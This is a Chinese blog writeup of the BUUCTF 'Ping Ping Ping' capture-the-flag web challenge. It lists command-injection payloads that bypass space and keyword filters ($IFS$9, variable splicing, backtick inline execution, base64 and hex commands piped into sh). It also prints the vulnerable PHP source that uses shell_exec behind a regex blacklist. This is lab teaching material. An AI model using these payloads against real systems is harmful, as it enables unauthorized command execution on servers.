【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup

BUUCTF【Web】Ping Ping Ping 首先使用ls命令查看当前路径下有那些文件,拼接符有“&”、“|”、“||”、“&&”、“;进入靶场后是一个ping的功能(命令执行漏洞),参数ip传递的内容会被当做ip地址进行网络连通性测试。绕过空格后发现过滤了flag(绕过flag),所以使用反引号``(高优先级特性)查看flag.php。绕过后我们并没有发现flag,那是因为注释的内容不会直接显示在页面中,右键查看源码就可以获取flag。接下来直接访问flag.php文件,直接访问PHP发现空格过滤了(绕过空格),所以我们使用$IFS$9来绕过空格。 阅读详情
AI摘要

本文详细解析了GXYCTF2019中PingPingPing挑战的解题过程,涉及命令联合执行、命令绕过空格、内联执行等技巧,并分享了解题思路与实践案例。

0x00 考点

0、命令联合执行

;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)

1、命令绕过空格方法有:

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag

2、内联执行

内联,就是将反引号内命令的输出作为输入执行

?ip=127.0.0.1;cat$IFS$9`ls`

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字

这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

0x01 解题

题目

/?ip=

用|或;执行命令
?ip=127.0.0.1;ls

/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

滤了空格和标点,flag等符号,不能直接cat flag

?ip=127.0.0.1;cat flag.php

/?ip= fxck your space!

过滤了空格,用${IFS}$代替

?ip=127.0.0.1;cat${IFS}flag.php 

fxck your symbol! 过滤{}

也过滤了{},用$IFS$1代替

?ip=127.0.0.1;cat$IFS$1flag.php

/?ip= fxck your flag!

?ip=127.0.0.1;cat$IFSflag.php	

/?ip= fxck your flag!

不读flag,读index

?ip=127.0.0.1;cat$IFS$1index.php
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>
  • 总结:过滤的特殊字符:

& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash" 
  • flag的贪婪匹配,匹配一个字符串中,是否按顺序出现过flag四个字母
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");

源码中有一个$a变量可以覆盖

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php	没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php  	过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php	有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag

变量替换顺序,效果也不一样

1、简单变量替换,用$a覆盖拼接flag

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看源码

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes <?php $flag =
“flag{d893b431-5300-4b46-9b52-3a5a2390cfca}”; ?>

2、变量ab互换传递,绕过字符串匹配,实现拼接

?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes <?php $flag =
“flag{d893b431-5300-4b46-9b52-3a5a2390cfca}”; ?>

3、内联执行

?ip=127.0.0.1;cat$IFS`ls`
?ip=127.0.0.1;cat$IFS$3`ls`
?ip=127.0.0.1;cat$IFS$9`ls`
?ip=127.0.0.1|cat$IFS$9`ls`
查看源码
/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
<?php
$flag = "flag{d893b431-5300-4b46-9b52-3a5a2390cfca}";
?>
/?ip=
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

4、被过滤的bash,用管道+sh替换

cat flag.php用base64加密来绕过正则匹配

Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash

//?ip= fxck your bash!

过滤了flag、bash,但sh没过滤,linux下可用sh

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

|sh 就是执行前面的echo脚本

5、类似题的大概思路

cat fl*  用*匹配任意 
cat fla* 用*匹配任意
ca\t fla\g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)

echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样

cat fl[a]g.php       用[]匹配

a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 

通配符

*     #匹配全部字符,通配符
?    #任意一个字符,通配符
[]      #表示一个范围(正则,通配符)
{}      #产生一个序列(通配符)

在这里插入图片描述

【CTF】buuctf web(一)——命令执行 [ACTF2020 新生赛]Exec 抓包看看 得到信息:以post方式通过变量target传参 阅读详情

相关推荐

BUUCTF之Ping Ping Ping:命令注入与空格绕过实战解析

本文以BUUCTF经典题目‘Ping Ping Ping’为例,深入解析命令注入攻击的原理与实战绕过技巧。文章详细演示了如何通过变量拼接、内联执行和Base64编码等多种方法,绕过空格过滤等安全限制,最终成功获取目标文件。内容涵盖命令注入的本质、常见绕过手法及实战应用,为CTF学习和Web安全研究提供清晰指导。

a3b4c5的博客 510

[GXYCTF 2019]Ping Ping Ping

前言 最近在学习ssrf漏洞,这个漏洞的综合性还是挺强的。在网上看了大佬的文章总结的很详细。在此基础就通过实践相结合,更加深入的理解ssrf的具体操作。 SSRF漏洞 有一些函数比如

m0_62422842的博客 8708

TVS 和压敏电阻联合使用进行浪涌保护时,压敏电阻的压敏电压要低于TVS 的钳位电压 VC。

通过先让MOV接管,可以确保在大多数情况下,电压不会迅速上升到TVS二极管的钳位电压,从而保护TVS二极管免受持续高能量冲击的损害。总结来说,将MOV的压敏电压设置得低于TVS二极管的钳位电压,可以提供一种分级的保护机制,优化浪涌保护性能,同时保护敏感的TVS二极管不被过度的能量冲击损坏,并延长其使用寿命。MOV吸收的能量(Wmov):假设浪涌电流为10kA,MOV导通后将电压限制在300V,那么Wmov = Ipp * Vmov = 10kA * 300V = 3MW。例如,Vmov可以设定为275V。

weixin_66642980的博客 2245

BUUCTF之Ping Ping Ping

BUUCTFWP,关于一些waf的绕过

金 帛的博客 8134

S32K344 Flash Driver实战:手把手教你实现任意字节写入与扇区解锁(含C40_Ip避坑指南)

本文深入解析S32K344微控制器的Flash驱动开发,重点解决C40_Ip驱动库的8字节对齐限制和扇区保护锁问题。通过实战案例和代码示例,详细介绍了如何实现任意字节写入、扇区解锁及性能优化策略,为Bootloader和OTA升级等应用提供可靠解决方案。

weixin_33713707的博客 432

CentOS 7/8 系统下,基于Docker Compose一键部署Dify AI应用平台

本文详细介绍了在CentOS 7/8系统下,使用Docker Compose一键部署Dify AI应用平台的完整流程。从系统环境准备、Docker引擎安装与加速配置,到获取Dify项目、关键环境变量设置,再到服务启动、状态监控及初始化访问,提供了手把手的部署指南和常见问题排查方法,帮助用户快速搭建稳定、可维护的AI应用开发环境。

q5r6s7的博客 138

【网络安全---Linux命令绕过】Linux下命令执行绕过技巧(很全,很实用)

Linux下命令执行绕过方式和思路;网站上可能有一些能执行系统命令的地方,但是对一些关键字和空格等做了一些防护,如何绕过就成了一个难题,这篇文章分享一些Linux下的命令执行绕过技巧以及思路,不如说空格的绕过,关键字绕过,编码绕过等等;

m0_67844671的博客 4996

ETL基础概念及要求详解

ETL即Extract(抽取)Transform(转换)Load(装载)的过程,如下图,同时也包括数据清洗的部分,是数据从源端到目标端的一个数据处理的过程,是构建数据仓库的重要一环,但不局限于构建数据仓库其他BI(商业智能)的设计和开发数据分析平台也经常用到ETL。

qq_43605229的博客 8943

BUUCTF-Writeup2

BUUCTF-Writeup2 [GXYCTF2019]Ping Ping Ping 拿到题目后根据提示随便ping一下看一下文件信息 我们直接试着抓一下flag /?ip=127.0.0.1|cat flag 应该是过滤了一些字符,过滤空格我们可以用一下方式代替 $IFS ${IFS} $IFS$1 //1改成1改成1改成加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09 ...

m0_46263419的博客 1543

ZYNQ程序固化实战:从BOOT.bin生成到QSPI/SD卡双启动模式详解

本文详细解析了ZYNQ 7000系列程序固化的完整流程,重点解决了程序断电丢失问题。通过实战演示,从生成BOOT.bin文件到配置QSPI与SD卡双启动模式,逐步指导开发者实现程序在外部存储中的永久驻留,确保产品脱离调试器独立运行。

weixin_29193259的博客 516

福彩快乐8智能选号系统研究

本文介绍了一款福彩快乐8智能选号系统的开发过程。系统首先通过数据采集获取历史开奖数据,作为分析的基础。随后,对采集的数据进行深入分析,以识别可能的模式和趋势。基于这些分析,系统能够智能预测未来的开奖号码,如2025129期的预测。最后,通过模拟兑奖功能,用户可以直观地看到预测结果的实际效果。文章鼓励感兴趣的读者点赞并领取源代码,以便自行探索和使用该系统。

gumuzi1210的博客 2211

BUUCTF-WEB详细解题攻略第一页(按解出数降序排序)

BUUCTF-WEB题解索引,按解出数排序。每题附详细Payload与思路,适合CTF刷题备查。

2503_94637398的博客 1771

修复漏洞Windows 2012 Server R2(CVE-2016-2183)、(CVE-2015-2808)、(CVE-2013-2566)

【代码】修复漏洞Windows 2012 Server R2(CVE-2016-2183)、(CVE-2015-2808)、(CVE-2013-2566)

路~可以走过 2772

Web安全入门三件套:SQL注入、代码审计与文件包含实战解析

在Web安全领域,理解核心漏洞原理是构建防御体系的基石。SQL注入、代码审计和文件包含作为三种基础且关键的漏洞类型,分别代表了数据交互、逻辑审查和文件处理层面的安全风险。SQL注入通过操纵数据库查询语句,揭示了应用程序对用户输入信任不足的问题;代码审计则要求开发者或安全人员深入分析源代码,识别危险函数和逻辑缺陷,例如变量覆盖、弱类型比较及反序列化漏洞;文件包含漏洞利用程序加载文件的机制,可能引发本地或远程文件包含,甚至通过PHP伪协议实现代码执行。掌握这三项技术,不仅能有效发现和利用漏洞,更能从本质上提升W

weixin_33882452的博客 798

宇树G1开发实践--PPT汇报(基础版)

本文介绍了一套基于宇树G1人形机器人的PPT自动演示系统,可实现"一键启动、自动演讲"功能。系统通过多线程同步技术,将音频播放与机器人动作完美结合,支持12种预设社交互动动作。硬件依赖宇树G1机器人、外接音响和网络连接,软件采用Python SDK和ALSA音频工具。核心功能包括音频文件自动排序、外接音响播放控制、机器人动作执行及音画同步。使用时需配置网络接口和音频设备号,运行后自动按顺序播放音频并执行随机动作。系统特别强调了安全注意事项,并提供了常见问题解决方案,适用于展会、汇报等需要

m0_47999117的博客 510

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Linux下的命令执行绕过技巧合集(渗透测试专用)

Linux下的命令执行绕过技巧合集(渗透测试专用)

Thunderclap的博客 4771

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

【BUUCTF】Ping Ping Ping (命令执行绕过总结)

{IFS}${IFS}$9 //这里$1到$9都可以$IFS$1 //这里$1到$9都可以{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来%20 (space) //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理%09 (tab)$X // \x09表示tab,也可以用\x20$X。

徐徐徐的博客 2073

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

BUUCTF-Ping Ping Ping

启动靶机,页面提示可以传入的参数为ip=尝试ping一下本地IP地址尝试使用拼接符,空格(space)字符被过滤了,不得行删除空格字符获取当前目录有哪些文件,发现有flag.php和index.php尝试直接读取flag.php文件,不可行,忘记空格被过滤了绕过了空格,flag又被过滤了这时候,还有一个index.php源码文件,尝试读取查阅资料可得,preg_match()函数是PHP中用于匹配正则表达式的函数之一。该函数用来,并将结果存储在一个数组中,。

weixin_51383898的博客 904

Buuctf (Web)Ping Ping Ping

文章目录一.解题步骤二、命令分隔符三.常见绕过方式 一.解题步骤 (1)页面里显示/?ip=,很明显要以ping的形式传一个参数给ip,并且我们要想执行其他命令,就要用命令分隔符也就是管道符连接,命令分隔符可以用";“”|“”&"三种,本题经过尝试发现第一步查看目录过滤了|,&和空格。 这里介绍两种方式: 1.ping本地127.0.0.1 2.用||来代替127.0.0.1; (2)虽然找到了放flag的文件,但是尝试后发现都不对,这里介绍一种思路,我们可以通过查看index.php

m0_64444909的博客 3571

[GXYCTF2019]Ping Ping Ping 1

直接尝试:/?ip=127.0.0.1;ls; 看到flag.php,尝试读取:他提示不能有空格,绕过试一试: 尝试,回显/?ip= 1fxck your symbol!表示出现了非法字符,发现能代替空格的/**/、%0a、IFS等都被过滤了,但{IFS}等都被过滤了,但IFS等都被过滤了,但IFS9还可以使用,于是/?ip=127.0.0.1;cat9还可以使用,于是 /?ip=127.0.0.1;cat9还可以使用,于是/?ip=127.0.0.1;catIFS$9flag.php; 又说不能出现..

weixin_45674567的博客 1764

BUUCTF刷题记录 Ping Ping Ping

[GXYCTF2019]Ping Ping Ping 进入页面 然后/?ip=127.0.0.1|ls 进入 读取flag.php 再cat$IFS$1indnx.php 再变量拼接 ?ip=127.0.0.1;a=g;cat$IFS1fla1fla1flaa.php 转至 http://1d22a0a5-c6a0-43f1-8e52-e5a33ec7e044.node3.buuoj.cn/?ip=127.0.0.1;a=g;cat$IFS1fla1fla1flaa.php 再F12 ...

m0_46576074的博客 1974

CTF之命令执行常见绕过

在 linux 下表示分隔符,只有cat$IFSa.txt 的时候, bash 解释器会把整个 IFSa当做变量名,所以导致没有办法运行,然而如果加一个 {} 就固定了变量名,同理在后面加个 $ 可以起到截断的作用,而 $9 指的是当前系统shell 进程的第九个参数的持有者,就是一个空字符串,因此 $9 相当于没有加东西,等于做了一个前后隔离。]有一个重要的区别,当匹配的文件不存在,[…通过测试,可见程序过滤了截断符,根据以上的知识,我们来fuzz一下可用的截断符。根据burp爆破,发现可以通过。

qq_42383069的博客 8829

buuctf [GXYCTF2019]Ping Ping Ping 1

buuctf [GXYCTF2019]Ping Ping Ping 1-刷题个人日记 小白一个,写给自己看。 进去后是这样: ctrl+u看网页源码也没什么,随便输个数据看看: 源码一样没什么。看题目提示,试试你能想到的方法,比如sql注入:输入ip=1' 不是sql注入,试完了发现是命令执行,输入 /?ip=1;ls 两个都看看,先看index.php输入: /?ip=1;cat index.php 看来过滤了空格 再输入 /?ip=1;cat$IFS$1index.php IFS在系统命令

weixin_45642610的博客 3838

[BUU] [GXYCTF2019]Ping Ping Ping 1 Write-Up

1.基本读题 通过标题得知应该是一个命令注入的题目,进入环境后提醒我们通过get方式提交ip 2.进一步信息收集 先尝试一些基本的命令注入: 127.0.0.1;ls 和 127.0.0.1;dir 以判断是linux系统还是windows系统 注入127.0.0.1;dir时是没有回显的,相反,注入127.0.0.1;ls时返回了目录 这里发现有flag.php和index.php两个文件,自然先尝试能不能直接打开flag.php 先尝试: 127.0.0.1;cat flag.php 失败,并且返回了

qq_61758260的博客 365

linux命令绕过

linux命令行绕过总结

qq_46229380的博客 1346

BUUCTF web小结 1.0

目录 [ACTF2020 新生赛]Include [极客大挑战 2019]Secret File [极客大挑战 2019]LoveSQL [GXYCTF2019]Ping Ping Ping 方法一:绕过正则表达式 方法二:因为过滤了bash,但是没有过滤sh,可用下面的方法,flag在f12中 方法三:内敛执行绕过,将反引号内命令的输出作为输入执行,flag在f12中 总结 [ACTF2020 新生赛]Include 打开题目:注意一下F12里面的跳转,点击tips,跳转, ur

Sk1y的博客 780
上一篇: 【BUUCTF】[极客大挑战 2019] PHP 清晰易懂详细总结 Writeup
下一篇: 最新版 Kali 2020.3 高DPI 缩放,桌面文字太小怎么调?
评论 27
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值